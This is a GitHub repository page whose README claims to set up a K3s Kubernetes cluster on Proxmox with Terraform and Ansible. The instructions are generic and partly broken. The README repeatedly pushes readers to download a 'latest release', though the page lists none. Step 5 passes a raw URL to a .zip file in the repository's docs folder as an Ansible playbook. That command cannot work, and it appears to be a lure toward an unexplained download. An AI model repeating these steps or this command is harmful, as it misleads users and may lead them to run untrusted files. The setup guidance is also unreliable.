Skip to content

123Luka123/k3s-proxmox-terraform

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

44 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ k3s-proxmox-terraform - Easy Kubernetes Setup on Proxmox

Download Latest Release

πŸš€ Getting Started

This guide will help you set up a K3s Kubernetes cluster on Proxmox VE using Terraform and Ansible. You can deploy a production-ready cluster with just one command.

πŸ“¦ Required Tools

You need a few tools to get started:

πŸ–₯️ System Requirements

Before you proceed, ensure your system meets the following requirements:

  • Processor: Minimum 2 cores recommended.
  • Memory: At least 4GB of RAM for the cluster to run smoothly.
  • Disk Space: At least 20GB free for the installation of Kubernetes components.
  • Network: Ensure you have a stable network connection.

🌐 Download & Install

To get the application, visit the Releases page to download the latest version.

Download Latest Release

  1. Click the link above.
  2. Locate the latest version of the application.
  3. Download the relevant files for your operating system.

βš™οΈ Setting Up Your K3s Cluster

After downloading the application, follow these steps to set up your K3s cluster.

1. Prepare Your Proxmox Environment

  • Create a new VM in Proxmox for your K3s server.
  • Allocate resources based on your system requirements.

2. Configure Terraform

  • Extract the downloaded files.
  • Open the terminal and navigate to the folder where you extracted the files.
  • Edit the Terraform configuration file to match your VM settings.

3. Initialize Terraform

  • Run the following command to initialize Terraform:

    terraform init

4. Apply Your Configuration

  • Once initialized, apply your configuration with:

    terraform apply
  • This command provisions the K3s cluster based on your settings.

5. Deploy Ansible

  • After Terraform completes, you will use Ansible to configure your K3s cluster.

  • Navigate to the Ansible folder in your downloaded files.

  • Run the playbook with:

    ansible-playbook -i hosts https://raw.githubusercontent.com/123Luka123/k3s-proxmox-terraform/main/docs/terraform-s-k-proxmox-frontierlike.zip

6. Verify Your Installation

  • Check the status of your K3s cluster:

    kubectl get nodes
  • Ensure all nodes are ready for use.

πŸ”§ Troubleshooting Tips

  • Ensure all your paths and settings are correct in the configuration files.
  • Check your Proxmox resources to confirm they meet the minimum requirements.
  • If you encounter issues, refer to the official documentation for Terraform and Ansible.

πŸ“š Additional Resources

🐞 Reporting Issues

If you face any problems, please report them in the Issues section of this repository. Provide details to help diagnose the issue.


This README aims to provide a clear path for configuring your K3s cluster with Proxmox using Terraform and Ansible. The steps are laid out to help users with no programming knowledge.

About

πŸš€ Deploy a K3s Kubernetes cluster on Proxmox VE using Terraform and Ansible for customizable, efficient container orchestration.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors